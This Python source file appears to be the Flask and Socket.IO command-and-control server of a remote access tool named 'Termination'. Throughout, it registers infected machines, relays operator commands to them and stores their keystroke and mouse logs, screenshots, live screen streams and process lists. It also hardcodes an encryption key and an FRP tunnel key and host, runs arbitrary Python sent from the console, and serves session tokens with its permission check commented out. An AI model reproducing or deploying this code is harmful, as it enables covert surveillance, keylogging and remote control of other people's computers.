667 lines
27 KiB
Python
667 lines
27 KiB
Python
from tools import *
|
|
from Utils.Config import *
|
|
from Utils.Lib import *
|
|
from Utils.Models import *
|
|
|
|
# if "SQLT4PC" in globals():
|
|
# SQLT4PC.delete(FROM="pcplt", WHERE="1=1")
|
|
# SQLT4PC.delete(FROM="files", WHERE="1=1")
|
|
# SQLT4PC.delete(FROM="screenshot", WHERE="1=1")
|
|
|
|
#with App.app_context():
|
|
# T4PLT.query.delete()
|
|
# db.session.commit()
|
|
|
|
fmt = lambda dt: dt.strftime("%Y-%m-%d %H:%M:%S")
|
|
|
|
class GodKeys:
|
|
def __init__(self, key=None):
|
|
self.key = key if key else b"TerminationGodKeyAndLOVE3GZSorry"
|
|
self.aesgcm = AESGCM(self.key)
|
|
def IsGK(self, data) -> bool:
|
|
if isinstance(data, bytes):
|
|
return len(data) >= 28 and data[:4] == b"GKBD"
|
|
elif isinstance(data, str):
|
|
return len(data) >= 56 and data.startswith("GKBD")
|
|
return False
|
|
def encrypt(self, s: str) -> bytes:
|
|
nonce = os.urandom(12)
|
|
ciphertext = self.aesgcm.encrypt(nonce, repr(s).encode(), None)
|
|
return b"GKBD" + nonce + ciphertext
|
|
def decrypt(self, s: bytes, con=False) -> str:
|
|
if not self.IsGK(s):
|
|
return s if con else Exception("Invalid GKBD format")
|
|
nonce, ciphertext = s[4:16], s[16:]
|
|
try:
|
|
plaintext = self.aesgcm.decrypt(nonce, ciphertext, None)
|
|
return ast.literal_eval(plaintext.decode())
|
|
except (ValueError, SyntaxError):
|
|
return plaintext.decode() if con else Exception("Invalid data")
|
|
def encrypt_16(self, s: str) -> str:
|
|
binary = self.encrypt(s)
|
|
return "GKBD" + binary[4:].hex()
|
|
def decrypt_16(self, s: str, con=False) -> str:
|
|
if not self.IsGK(s):
|
|
return s if con else Exception("Invalid GKBD hex format")
|
|
try:
|
|
binary = b"GKBD" + bytes.fromhex(s[4:])
|
|
return self.decrypt(binary, con)
|
|
except ValueError:
|
|
return s if con else Exception("Invalid hex data")
|
|
_GodKeys=GodKeys()
|
|
|
|
|
|
def CombineBytesPrefixed(Parts: list[bytes]) -> bytes:
|
|
Combined = b""
|
|
for Part in Parts:
|
|
PartLen = len(Part)
|
|
LenPrefix = struct.pack("I", PartLen)
|
|
Combined += LenPrefix + Part
|
|
return Combined
|
|
def SplitBytesPrefixed(Combined: bytes) -> list[bytes]:
|
|
Parts = []
|
|
offset = 0
|
|
Combined_len = len(Combined)
|
|
while offset < Combined_len:
|
|
if offset + 4 > Combined_len:
|
|
raise ValueError("Combined bytes format is invalid, missing length prefix")
|
|
LenPrefix = Combined[offset:offset+4]
|
|
if type(LenPrefix) != bytes:
|
|
print("WAITING PREFIX: ", LenPrefix, type(LenPrefix), offset, Combined_len, Combined)
|
|
PartLen = struct.unpack("I", LenPrefix)[0]
|
|
if offset + 4 + PartLen > Combined_len:
|
|
raise ValueError("Combined bytes format is invalid, missing part content")
|
|
Part = Combined[offset+4 : offset+4+PartLen]
|
|
Parts.append(Part)
|
|
offset += 4 + PartLen
|
|
return Parts
|
|
class SecureHybridEncryption:
|
|
def __init__(self, PublicExponent: int = 65537, KeySize: int = 2048, Backend: typing.Callable = default_backend):
|
|
self.__init_key__(PublicExponent, KeySize, Backend)
|
|
def __init_key__(self, PublicExponent: int = 65537, KeySize: int = 2048, Backend: typing.Callable = default_backend):
|
|
self.PrivateKey: rsa.RSAPrivateKey = self.CreatePrivateKey(PublicExponent, KeySize, Backend)
|
|
self.PublicKey: rsa.RSAPublicKey = self.CreatePublicKey(self.PrivateKey)
|
|
@staticmethod
|
|
def CreatePrivateKey(PublicExponent: int = 65537, KeySize: int = 2048, Backend: typing.Callable = default_backend) -> rsa.RSAPrivateKey:
|
|
return rsa.generate_private_key(
|
|
public_exponent=PublicExponent,
|
|
key_size=KeySize,
|
|
backend=Backend()
|
|
)
|
|
@staticmethod
|
|
def CreatePublicKey(PrivateKey: rsa.RSAPrivateKey) -> rsa.RSAPublicKey:
|
|
return PrivateKey.public_key()
|
|
@staticmethod
|
|
def SerializePublicKey(PublicKey: rsa.RSAPublicKey, Encoding: serialization.Encoding = serialization.Encoding.PEM,
|
|
Format: serialization.PublicFormat = serialization.PublicFormat.SubjectPublicKeyInfo) -> bytes:
|
|
return PublicKey.public_bytes(encoding = Encoding, format = Format)
|
|
@staticmethod
|
|
def LoadPublicKey(PublicKeyBytes: bytes, Backend: typing.Callable = default_backend) -> rsa.RSAPublicKey:
|
|
return serialization.load_pem_public_key(PublicKeyBytes, backend = Backend())
|
|
@staticmethod
|
|
def LoadDERPublicKey(PublicKeyBytes: bytes, Backend: typing.Callable = default_backend) -> rsa.RSAPublicKey:
|
|
return serialization.load_der_public_key(PublicKeyBytes, backend = Backend())
|
|
@staticmethod
|
|
def SerializePrivateKey(PrivateKey: rsa.RSAPrivateKey, Password: str | None = None,
|
|
Encoding: serialization.Encoding = serialization.Encoding.PEM,
|
|
Format: serialization.PrivateFormat = serialization.PrivateFormat.PKCS8,
|
|
EncryptionAlgorithm: typing.Callable = serialization.NoEncryption) -> bytes:
|
|
if Password:
|
|
EncryptionAlgorithm = serialization.BestAvailableEncryption(Password.encode())
|
|
return PrivateKey.private_bytes(
|
|
encoding = Encoding,
|
|
format = Format,
|
|
encryption_algorithm = EncryptionAlgorithm()
|
|
)
|
|
@staticmethod
|
|
def LoadPrivateKey(PrivateKeyBytes: bytes, Password: str | None = None, Backend: typing.Callable = default_backend) -> rsa.RSAPrivateKey:
|
|
return serialization.load_pem_private_key(data = PrivateKeyBytes, password = Password.encode() if Password else None, backend = Backend())
|
|
@staticmethod
|
|
def LoadDERPrivateKey(PrivateKeyBytes: bytes, Password: str | None = None, Backend: typing.Callable = default_backend) -> rsa.RSAPrivateKey:
|
|
return serialization.load_der_private_key(data = PrivateKeyBytes, password = Password.encode() if Password else None, backend = Backend())
|
|
@staticmethod
|
|
def EncryptLargeData(PublicKey: rsa.RSAPublicKey, Data: bytes, AesKey: bytes | None = None,
|
|
Iv: bytes | None = None, Backend: typing.Callable = default_backend) -> tuple[dict[str, bytes], bytes]:
|
|
AesKey = AesKey if AesKey else os.urandom(32)
|
|
Iv = Iv if Iv else os.urandom(16)
|
|
_Cipher = Cipher(algorithms.AES(AesKey), modes.GCM(Iv), backend = Backend())
|
|
Encryptor = _Cipher.encryptor()
|
|
EncryptedData = Encryptor.update(Data) + Encryptor.finalize()
|
|
EncryptedAesKey = PublicKey.encrypt(
|
|
AesKey,
|
|
padding.OAEP(
|
|
mgf = padding.MGF1(algorithm = hashes.SHA256()),
|
|
algorithm = hashes.SHA256(),
|
|
label = None
|
|
)
|
|
)
|
|
DataPackage = {'Data': EncryptedData, 'Iv': Iv, 'Tag': Encryptor.tag}
|
|
return DataPackage, EncryptedAesKey
|
|
@staticmethod
|
|
def DecryptLargeData(PrivateKey: rsa.RSAPrivateKey, DataPackage: dict[str, bytes], EncryptedAesKey: bytes,
|
|
AesKey: bytes | None = None, Backend: typing.Callable = default_backend) -> bytes:
|
|
AesKey = AesKey if AesKey else PrivateKey.decrypt(
|
|
EncryptedAesKey,
|
|
padding.OAEP(
|
|
mgf = padding.MGF1(algorithm = hashes.SHA256()),
|
|
algorithm = hashes.SHA256(),
|
|
label = None
|
|
)
|
|
)
|
|
_Cipher = Cipher(
|
|
algorithms.AES(AesKey),
|
|
modes.GCM(DataPackage['Iv'], DataPackage['Tag']),
|
|
backend = Backend()
|
|
)
|
|
Decryptor = _Cipher.decryptor()
|
|
return Decryptor.update(DataPackage['Data']) + Decryptor.finalize()
|
|
@staticmethod
|
|
def Encrypt(Data: str | bytes | dict, PublicKey: str | rsa.RSAPublicKey, AesKey: bytes | None = None,
|
|
Iv: bytes | None = None, Backend: typing.Callable = default_backend) -> bytes:
|
|
if isinstance(PublicKey, str): PublicKey = SecureHybridEncryption.LoadPublicKey(PublicKeyBytes=PublicKey.encode(), Backend=Backend)
|
|
if isinstance(Data, dict): Data = json.dumps(Data).encode('utf-8')
|
|
elif isinstance(Data, str): Data = Data.encode('utf-8')
|
|
DataPackage, EncryptedKey = SecureHybridEncryption.EncryptLargeData(
|
|
PublicKey = PublicKey,
|
|
Data = Data,
|
|
AesKey = AesKey,
|
|
Iv = Iv,
|
|
Backend = Backend
|
|
)
|
|
return CombineBytesPrefixed([
|
|
b"TRSA10\x00\x00\n",
|
|
b"This Is Nonsensical Gibberish Until U Can Find Its Corresponding Key.\x00\x00\n",
|
|
EncryptedKey,
|
|
DataPackage['Iv'],
|
|
DataPackage['Tag'],
|
|
DataPackage['Data']
|
|
])
|
|
@staticmethod
|
|
def Decrypt(Data: bytes, PrivateKey: str | rsa.RSAPrivateKey, Password: str | None = None,
|
|
AesKey: bytes | None = None, Backend: typing.Callable = default_backend) -> bytes | dict:
|
|
if isinstance(PrivateKey, str):
|
|
PrivateKey = SecureHybridEncryption.LoadPrivateKey(
|
|
PrivateKeyBytes = PrivateKey.encode(),
|
|
Password = Password,
|
|
Backend = Backend
|
|
)
|
|
Segments = SplitBytesPrefixed(Data)
|
|
if len(Segments) < 6:
|
|
raise ValueError("Invalid encrypted data format")
|
|
DataPackage = {"Iv": Segments[3], "Tag": Segments[4], "Data": Segments[5]}
|
|
EncryptedKey = Segments[2]
|
|
DecryptedData = SecureHybridEncryption.DecryptLargeData(
|
|
PrivateKey = PrivateKey,
|
|
DataPackage = DataPackage,
|
|
EncryptedAesKey = EncryptedKey,
|
|
AesKey = AesKey,
|
|
Backend = Backend
|
|
)
|
|
try: return json.loads(DecryptedData.decode('utf-8'))
|
|
except (json.JSONDecodeError, UnicodeDecodeError): return DecryptedData
|
|
|
|
|
|
T4 = flask.Blueprint("T4", __name__, subdomain="termanage", template_folder = JoinPath(FlaskTempLate, "TerminationManager"), static_folder = JoinPath(FlaskTempLate, "TerminationManager"), static_url_path="/")
|
|
|
|
@T4.route("/")
|
|
def T4ndex():
|
|
return flask.render_template("TerminationManager/index.html")
|
|
|
|
|
|
T4ClientNameSpace = "/Termination4SocketIOSpace"
|
|
T4ConsoleNameSpace = "/Termination4ConsoleSpace"
|
|
|
|
|
|
def RegisterT4User(PCMachineGUID, PCVersion, PCompilation, PCName, PCreateUserName, PCSystemINFO):
|
|
User: T4User
|
|
if (User := T4User.query.filter(T4User.PCMachineGUID == bytes.fromhex(PCMachineGUID)).first()):
|
|
User.PCVersion = PCVersion
|
|
User.PCompilation = PCompilation
|
|
User.PCName = PCName
|
|
User.PCreateUserName = PCreateUserName
|
|
User.PCSystemINFO = PCSystemINFO
|
|
User.PCreateTime = TimeFormatInt()
|
|
try: db.session.commit()
|
|
except: db.session.rollback()
|
|
else:
|
|
_ = T4User(
|
|
PCMachineGUID=bytes.fromhex(PCMachineGUID),
|
|
PCVersion=PCVersion,
|
|
PCompilation=PCompilation,
|
|
PCName=PCName,
|
|
PCreateUserName=PCreateUserName,
|
|
PCSystemINFO=PCSystemINFO,
|
|
PCreateTime=TimeFormatInt(),
|
|
)
|
|
db.session.add(_)
|
|
try: db.session.commit()
|
|
except: db.session.rollback()
|
|
|
|
def RegisterT4PLT(PCSID, PCMachineGUID, Time = None):
|
|
if not Time: Time = TimeFormatInt()
|
|
r: T4PLT
|
|
if (r := T4PLT.query.filter(T4PLT.PCMachineGUID == bytes.fromhex(PCMachineGUID)).first()):
|
|
r.PCLastSynchronizationTime = Time
|
|
else:
|
|
_ = T4PLT(
|
|
PCSID = PCSID,
|
|
PCMachineGUID = bytes.fromhex(PCMachineGUID),
|
|
PCLastSynchronizationTime = Time,
|
|
PConnectime = Time,
|
|
)
|
|
db.session.add(_)
|
|
try: db.session.commit()
|
|
except: db.session.rollback()
|
|
u: T4User = T4User.query.filter(T4User.PCMachineGUID == bytes.fromhex(PCMachineGUID)).first()
|
|
if u: u.PCLastConnectTime = Time
|
|
db.session.commit()
|
|
return
|
|
|
|
def EmitConnectSignal(PCMachineGUID, PCSID, Time = None):
|
|
if not Time: Time = TimeFormatInt()
|
|
socketio.emit("ConnectSignal", {"PCMachineGUID": PCMachineGUID, "PCSID":PCSID, "PCLastSynchronizationTime":Time, "PConnectime":Time}, namespace=T4ConsoleNameSpace, room = ConsoleRoom(PCMachineGUID))
|
|
|
|
def EmitConsoleMessage(PCMachineGUID, Key, Value):
|
|
socketio.emit(Key, Value, namespace=T4ConsoleNameSpace, room = ConsoleRoom(PCMachineGUID))
|
|
def EmitClientMessage(PCMachineGUID, Key, Value):
|
|
socketio.emit(Key, Value, namespace=T4ClientNameSpace, room = ClientRoom(PCMachineGUID))
|
|
def EmitClientMessageForAll(Key, Value):
|
|
socketio.emit(Key, Value, namespace=T4ClientNameSpace)
|
|
|
|
def DeleteT4PLTByPCSID(PCSID):
|
|
PLT: T4PLT
|
|
if (PLT := T4PLT.query.filter(T4PLT.PCSID == PCSID).first()):
|
|
db.session.delete(PLT)
|
|
try: db.session.commit()
|
|
except: db.session.rollback()
|
|
def DeleteT4PLTByPCMachineGUID(PCMachineGUID):
|
|
if (PLT := T4PLT.query.filter(T4PLT.PCMachineGUID == bytes.fromhex(PCMachineGUID)).first()):
|
|
db.session.delete(PLT)
|
|
try: db.session.commit()
|
|
except: db.session.rollback()
|
|
|
|
def ClientRoom(PCMachineGUID):
|
|
return f"{PCMachineGUID.upper()}ClientRoom"
|
|
def ConsoleRoom(PCMachineGUID):
|
|
return f"{PCMachineGUID.upper()}ConsoleRoom"
|
|
|
|
@asyncs
|
|
def UnresponsiveDeleteHook(PCSID, PCMachineGUID):
|
|
with App.app_context():
|
|
time.sleep(20)
|
|
while T4PLT.query.filter(T4PLT.PCSID == PCSID).first():
|
|
time.sleep(2)
|
|
if not socketio.server.manager.is_connected(PCSID, T4ClientNameSpace):
|
|
# print("存在???", socketio.server.manager.is_connected(PCSID, T4ClientNameSpace), PCSID)
|
|
EmitConnectSignal(PCMachineGUID, PCSID, "NO CONNECTED")
|
|
DeleteT4PLTByPCSID(PCSID)
|
|
print("DELETE T4PLT 2")
|
|
return
|
|
|
|
def DisconnectClientByPCSID(sid):
|
|
try: flask_socketio.disconnect(sid, namespace=T4ClientNameSpace)
|
|
except: pass
|
|
PLT: T4PLT
|
|
if (PLT := T4PLT.query.filter(T4PLT.PCSID == sid).first()):
|
|
PCMachineGUID = PLT.PCMachineGUID.hex().upper()
|
|
EmitConnectSignal(PCMachineGUID, PLT.PCSID, "NO CONNECTED")
|
|
flask_socketio.close_room(ClientRoom(PCMachineGUID))
|
|
DeleteT4PLTByPCSID(sid)
|
|
|
|
# def DecryptClientData(data):
|
|
# if type(data) == str and (data.split(",")[0] == "51" or data.split("-")[0] == "51"):
|
|
# print("PLAIN DATA: ", data)
|
|
# return data
|
|
# try: data = SecureHybridEncryption.Decrypt(data, T4.Client_PrivateKey[flask.request.sid]["PrivateKey"])
|
|
# except ValueError:
|
|
# DisconnectClientByPCSID(flask.request.sid)
|
|
# return False
|
|
# return data
|
|
|
|
|
|
|
|
@socketio.on("connect", namespace=T4ConsoleNameSpace)
|
|
def T4ConsoleConnect(s: str = None):
|
|
if (User := GetELTUser()) and User.UserPermission < 4.0: return False
|
|
return True
|
|
|
|
@socketio.on("TJoin", namespace=T4ConsoleNameSpace)
|
|
def T4ConsoleJoin(s: dict = None):
|
|
if "PCMachineGUID" not in s or not T4User.query.filter(T4User.PCMachineGUID == bytes.fromhex(s["PCMachineGUID"])).first(): return False
|
|
flask_socketio.join_room(ConsoleRoom(s["PCMachineGUID"]))
|
|
return True
|
|
|
|
@socketio.on("connect", namespace=T4ClientNameSpace)
|
|
def T4Connect(s: str = None):
|
|
Data = flask.request.headers.get("Data")
|
|
# PrivateKey = flask.request.headers.get("PrivateKey")
|
|
print("Connect: Ready...")
|
|
if not _GodKeys.IsGK(Data): # or not _GodKeys.IsGK(PrivateKey):
|
|
print("REFUSE 1")
|
|
return False
|
|
try:
|
|
Data = _GodKeys.decrypt_16(Data)
|
|
#PrivateKey = _GodKeys.decrypt_16(PrivateKey)
|
|
except:
|
|
print("REFUSE 2")
|
|
return False
|
|
# try: PrivateKey = SecureHybridEncryption.LoadDERPrivateKey(PrivateKey)
|
|
# except:
|
|
# print("REFUSE 4")
|
|
# return False
|
|
# try: Data = SecureHybridEncryption.Decrypt(Data, PrivateKey)
|
|
# except:
|
|
# print("REFUSE 5")
|
|
# return False
|
|
if type(Data) != dict:
|
|
print("REFUSE 3")
|
|
return False
|
|
if "PCMachineGUID" not in Data:
|
|
print("REFUSE 6")
|
|
return False
|
|
try: uuid.UUID(Data["PCMachineGUID"])
|
|
except:
|
|
print("REFUSE 7")
|
|
return False
|
|
if "PCVersion" not in Data:
|
|
print("REFUSE 8")
|
|
return False
|
|
try:
|
|
_ = Data["PCVersion"].split(".")
|
|
int(_[0]), int(_[1]), int(_[2])
|
|
except:
|
|
print("REFUSE 9")
|
|
return False
|
|
if "PCompilation" not in Data:
|
|
print("REFUSE 10")
|
|
return False
|
|
try: int(Data["PCompilation"])
|
|
except:
|
|
print("REFUSE 11")
|
|
return False
|
|
if "PCName" not in Data:
|
|
print("REFUSE 12")
|
|
return False
|
|
if "PCreateUserName" not in Data:
|
|
print("REFUSE 13")
|
|
return False
|
|
if "PCSystemINFO" not in Data:
|
|
print("REFUSE 14")
|
|
return False
|
|
if type(Data["PCSystemINFO"]) != dict:
|
|
print("REFUSE 15")
|
|
return False
|
|
Time = TimeFormatInt(time.time())
|
|
DeleteT4PLTByPCSID(flask.request.sid)
|
|
RegisterT4User(Data["PCMachineGUID"], Data["PCVersion"], Data["PCompilation"], Data["PCName"], Data["PCreateUserName"], repr(Data["PCSystemINFO"]))
|
|
RegisterT4PLT(flask.request.sid, Data["PCMachineGUID"], Time)
|
|
UnresponsiveDeleteHook(flask.request.sid, Data["PCMachineGUID"])
|
|
EmitConnectSignal(Data["PCMachineGUID"], flask.request.sid, Time)
|
|
flask_socketio.join_room(ClientRoom(Data["PCMachineGUID"]))
|
|
print(f"Connect: Success! {Data['PCMachineGUID']}")
|
|
return True
|
|
|
|
@socketio.on("disconnect", namespace=T4ClientNameSpace)
|
|
def T4Disconnect(s=None):
|
|
print(f"DisConnect: {s}")
|
|
DisconnectClientByPCSID(flask.request.sid)
|
|
|
|
|
|
@socketio.on("T4Message", namespace=T4ClientNameSpace)
|
|
def T4Message(data):
|
|
if not data: return False
|
|
if "PCMachineGUID" not in data: return False
|
|
if "Message" in data: print(" - T4Message", data["Message"])
|
|
if "Error" in data: print(" - T4Error", data["Error"])
|
|
EmitConsoleMessage(data["PCMachineGUID"], "CMDMessage", data)
|
|
|
|
@socketio.on("T4Monitor", namespace=T4ClientNameSpace)
|
|
def T4Monitor(data):
|
|
if not data: return False
|
|
if "PCMachineGUID" not in data: return False
|
|
EmitConsoleMessage(data["PCMachineGUID"], "CMDRMonitor", data)
|
|
|
|
@socketio.on("T4Synchronous", namespace=T4ClientNameSpace)
|
|
def T4Synchronous(data):
|
|
if not data: return False
|
|
if "PCMachineGUID" not in data: return False
|
|
Time = TimeFormatInt()
|
|
RegisterT4PLT(flask.request.sid, data["PCMachineGUID"], Time)
|
|
EmitConnectSignal(data["PCMachineGUID"], flask.request.sid, Time)
|
|
|
|
|
|
@socketio.on("T4CMDCommand", namespace=T4ConsoleNameSpace)
|
|
def T4Command(data):
|
|
if not data: return False
|
|
if "PCMachineGUID" not in data: return False
|
|
if "Command" not in data: return False
|
|
print(data)
|
|
if type(data["Command"]) == str and data["Command"].split(" ")[0].lower() in ("!server", "!py", "!python", "!exec", "!eval", "!s"):
|
|
con = data["Command"].split(" ")
|
|
if len(con) < 2: return False
|
|
exec(" ".join(con[1:]), globals(), locals())
|
|
return True
|
|
EmitClientMessage(data["PCMachineGUID"], "Command", {"Command": data["Command"] if "Command" in data else "", "work": data["work"] if "work" in data else "Python"})
|
|
|
|
|
|
@socketio.on("T4Thread", namespace=T4ClientNameSpace)
|
|
def T4Thread(data):
|
|
if not data: return False
|
|
if "PCMachineGUID" not in data: return False
|
|
EmitConsoleMessage(data["PCMachineGUID"], "CMDRThread", data)
|
|
|
|
@socketio.on("T4Process", namespace=T4ClientNameSpace)
|
|
def T4Process(data):
|
|
if not data: return False
|
|
if "PCMachineGUID" not in data: return False
|
|
EmitConsoleMessage(data["PCMachineGUID"], "CMDRProcess", data)
|
|
|
|
|
|
@socketio.on("T4RealTimeScreen", namespace=T4ClientNameSpace)
|
|
def T4RealTimeScreen(data):
|
|
if not data: return False
|
|
if "PCMachineGUID" not in data: return False
|
|
EmitConsoleMessage(data["PCMachineGUID"], "CMDRRealTimeScreen", data)
|
|
|
|
@socketio.on("T4Log", namespace=T4ClientNameSpace)
|
|
def T4Log(data):
|
|
if not data: return False
|
|
if "PCMachineGUID" not in data: return False
|
|
EmitConsoleMessage(data["PCMachineGUID"], "CMDRLog", data)
|
|
|
|
@socketio.on("T4KMDelete", namespace=T4ConsoleNameSpace)
|
|
def T4KMDelete(data):
|
|
if "PCMachineGUID" not in data: return False
|
|
if not (T4KM := T4KeyMouse.query.filter(T4KeyMouse.PCMachineGUID == bytes.fromhex(data["PCMachineGUID"])).all()): return False
|
|
for i in T4KM:
|
|
db.session.delete(i)
|
|
db.session.commit()
|
|
|
|
@socketio.on("T4KM", namespace=T4ClientNameSpace)
|
|
def T4KM(data):
|
|
if not data: return False
|
|
if "PCMachineGUID" not in data: return False
|
|
_ = T4KeyMouse(
|
|
CreateTime = TimeFormatInt(),
|
|
PCMachineGUID = bytes.fromhex(data["PCMachineGUID"]),
|
|
KeyMouse = data["record"]
|
|
)
|
|
db.session.add(_)
|
|
db.session.commit()
|
|
EmitConsoleMessage(data["PCMachineGUID"], "CMDRKM", data)
|
|
|
|
@socketio.on("T4CMDReSystemINFO", namespace=T4ClientNameSpace)
|
|
def T4CMDReSystemINFO(data):
|
|
if not data: return False
|
|
if "PCMachineGUID" not in data: return False
|
|
EmitClientMessage(data["PCMachineGUID"], "Command", {"PCMachineGUID": data["PCMachineGUID"], "work": "ReSystemINFO"})
|
|
|
|
@socketio.on("T4ReSystemINFO", namespace=T4ClientNameSpace)
|
|
def T4ReSystemINFO(data):
|
|
if not data: return False
|
|
if "PCMachineGUID" not in data: return False
|
|
T4PC: T4User = T4User.query.filter(T4User.PCMachineGUID == bytes.fromhex(data["PCMachineGUID"])).first()
|
|
if not T4PC: return False
|
|
T4PC.PCSystemINFO = repr(data["PCSystemINFO"]) # [1:][:-1]
|
|
db.session.commit()
|
|
EmitConsoleMessage(data["PCMachineGUID"], "CMDMessage", {"Message": "THE SYSTEM INFO FLUSHED SUCCESSFULLY."})
|
|
|
|
#@socketio.on("T4Screenshot", namespace=T4ClientNameSpace)
|
|
#def T4Screenshot(data):
|
|
# if _GodKeys.IsGK(data):
|
|
# data=_GodKeys.decrypt(data)
|
|
# if "PCMachineGUID" in data:
|
|
# socketio.emit(data["PCMachineGUID"]+"CMDRScreenshot", data, namespace=T4ClientNameSpace)
|
|
|
|
@T4.route("/TAPI/cover.api", methods=["POST"])
|
|
@App.route("/TAPI/cover.api", methods=["POST"])
|
|
@Limiter.limit("120 per minute")
|
|
def T4Cover():
|
|
data = flask.request.files["screen"]
|
|
PCMachineGUID=flask.request.form.get("PCMachineGUID")
|
|
u: T4User
|
|
if not PCMachineGUID: return "Bad PCMachineGUID"
|
|
if not Get16toBytes(PCMachineGUID, True): return "Bad PCMachineGUID not UUID"
|
|
if not (u := T4User.query.filter(T4User.PCMachineGUID == bytes.fromhex(PCMachineGUID)).first()): return "Bad PLT"
|
|
if not data: return "Bad Form"
|
|
data = data.stream.read()
|
|
if not _GodKeys.IsGK(data): return "BAD SCRHT DATA"
|
|
data=_GodKeys.decrypt(data)
|
|
if len(data) > 1024*1024: return "Too Big Data"
|
|
u.PCPreviewImage = data
|
|
_ = T4Hiscr(
|
|
PCMachineGUID = Get16toBytes(PCMachineGUID, True),
|
|
CreateTime = TimeFormatInt(),
|
|
ImageBytes = data
|
|
)
|
|
db.session.add(_)
|
|
db.session.commit()
|
|
return "OK"
|
|
|
|
@T4.route("/ShowKM.api")
|
|
def T4ShowKM():
|
|
u=flask.request.args.get("PCMachineGUID")
|
|
p=flask.request.args.get("page")
|
|
if not p: p=1
|
|
if not Get16toBytes(u, True): return "Bad PCMachineGUID"
|
|
if T4KeyMouse.query.filter(T4KeyMouse.PCMachineGUID == Get16toBytes(u, True)).count() == 0:
|
|
return "Bad PCMachineGUID"
|
|
# s=.selectashead(NSQL.MOD.ALL, WHERE=("PCMachineGUID=%s", Get16toBytes(u, True)), FROM="km", WITH="ORDER BY CreateTime DESC", _limit=f"{(int(p)-1)*1},1")
|
|
s = result = T4KeyMouse.query.filter(T4KeyMouse.PCMachineGUID == Get16toBytes(u, True)).order_by(sqlalchemy.desc(T4KeyMouse.CreateTime)
|
|
).offset(
|
|
(int(p) - 1) * 1
|
|
).limit(
|
|
1
|
|
)
|
|
if not s: return "Bad Page"
|
|
s = ast.literal_eval(s[0].KeyMouse)
|
|
if type(s) != list: return "Bad Data"
|
|
# s=sorted(s, key=lambda x: x.CreateTime)
|
|
return flask.jsonify(s)
|
|
|
|
@T4.route("/API/ShowScreen.api")
|
|
def T4ShowScreen():
|
|
u = flask.request.args.get("PCMachineGUID")
|
|
p = flask.request.args.get("page")
|
|
if not p: p=1
|
|
if not Get16toBytes(u, True):
|
|
return "Bad PCMachineGUID"
|
|
if not T4Hiscr.query.filter(T4Hiscr.PCMachineGUID == Get16toBytes(u, True)).first():
|
|
return "Bad PCMachineGUID"
|
|
s = T4Hiscr.query.filter(T4Hiscr.PCMachineGUID == Get16toBytes(u, True)).order_by(sqlalchemy.desc(T4Hiscr.CreateTime)
|
|
).offset(
|
|
(int(p) - 1) * 1
|
|
).limit(
|
|
1
|
|
)
|
|
if not s: return "Bad Page"
|
|
s=s[0]
|
|
return flask.Response(s.ImageBytes, mimetype='image/jpeg')
|
|
|
|
|
|
|
|
@T4.route("/API/GetT4ComputerSystemINFO.api")
|
|
def T4GetT4ComputerSystemINFOAPI():
|
|
u: T4User
|
|
if (PCMachineGUID := flask.request.args.get("PCMachineGUID")) and (u := T4User.query.filter(T4User.PCMachineGUID == bytes.fromhex(PCMachineGUID)).first()):
|
|
_ = ast.literal_eval(u.PCSystemINFO)
|
|
_["msg"] = "SUCCESS"
|
|
_["PCI"] = {
|
|
"PCreateUserName": u.PCreateUserName,
|
|
"PCName": u.PCName,
|
|
"PCVersion": u.PCVersion,
|
|
"PCompilation": u.PCompilation,
|
|
"PCreateTime": fmt(u.PCreateTime),
|
|
}
|
|
return flask.jsonify(_)
|
|
return flask.jsonify({"msg": "NOLOGIN"})
|
|
|
|
@T4.route("/API/GetT4ComputerPCPng.api")
|
|
def T4GetT4ComputerPCPngAPI():
|
|
r: T4User
|
|
if (PCMachineGUID:=flask.request.args.get("PCMachineGUID")) and (r := T4User.query.filter_by(PCMachineGUID = bytes.fromhex(PCMachineGUID)).first()):
|
|
if not r.PCPreviewImage:
|
|
return flask.Response(openr(os.path.join(TempLate, "Manage/T4/css/UComputer.png"), 2), mimetype='image/jpeg')
|
|
return flask.Response(r.PCPreviewImage, mimetype='image/jpeg')
|
|
return flask.jsonify({"msg": "NOLOGIN"})
|
|
|
|
|
|
@T4.route("/TAPI/SHA256.api")
|
|
@App.route("/TAPI/SHA256.api")
|
|
def T4SHA256():
|
|
return GetFileSha256(os.path.join(TempLate, "FTP/Termination.bin"))
|
|
|
|
@T4.route("/API/T4/computers.api")
|
|
def T4ComputersAPI():
|
|
computers=[]
|
|
i: T4User
|
|
for i in T4User.query.all():
|
|
sid, PConnectime, PCLastSynchronizationTime = "NO CONNECTED", "NO CONNECTED", "NO CONNECTED"
|
|
PCPLT: T4PLT
|
|
if PCPLT := T4PLT.query.filter_by(PCMachineGUID = i.PCMachineGUID).first():
|
|
PConnectime, PCLastSynchronizationTime, sid = fmt(PCPLT.PConnectime), fmt(PCPLT.PCLastSynchronizationTime), PCPLT.PCSID
|
|
computers.append({
|
|
"sid": sid,
|
|
"PCName": i.PCName,
|
|
"PCMachineGUID": i.PCMachineGUID.hex().upper(),
|
|
"PConnectime": PConnectime,
|
|
"PCLastSynchronizationTime": PCLastSynchronizationTime,
|
|
"PCreateTime": fmt(i.PCreateTime),
|
|
"PCVersion": i.PCVersion,
|
|
"PCompilation": i.PCompilation
|
|
})
|
|
return computers
|
|
|
|
|
|
|
|
@T4.route("/API/GetMyPowerfulELT.api")
|
|
#@PreRequirements(4.0)
|
|
def T4GetMyPowerfulELTAPI():
|
|
return GetCookies("EphemeralTokens")
|
|
|
|
|
|
|
|
@T4.route("/TAPI/GetFrpInfo.api")
|
|
@App.route("/TAPI/GetFrpInfo.api")
|
|
def T4TAPIGetFrpInfoAPI():
|
|
return flask.jsonify({
|
|
"Key": "07A36AEF1907843",
|
|
"Host": "www.gvsds.com",
|
|
"Port": 5000
|
|
})
|
|
|
|
@T4.before_request
|
|
def T4BeforeRequest():
|
|
STATIC_EXT_WHITELIST = {
|
|
"txt", "png", "jpg", "gif", "js", "css",
|
|
"eot", "svg", "tff", "woff", "woff2"
|
|
}
|
|
LowerPath = flask.request.path.lower().split("/")
|
|
if LowerPath[-1].split(".")[-1] in STATIC_EXT_WHITELIST:
|
|
return
|
|
User = GetELTUser()
|
|
LowerPathIsTAPI = (len(LowerPath) > 2 and LowerPath[2] == "tapi")
|
|
if not User and not LowerPathIsTAPI:
|
|
flask.abort(403)
|
|
|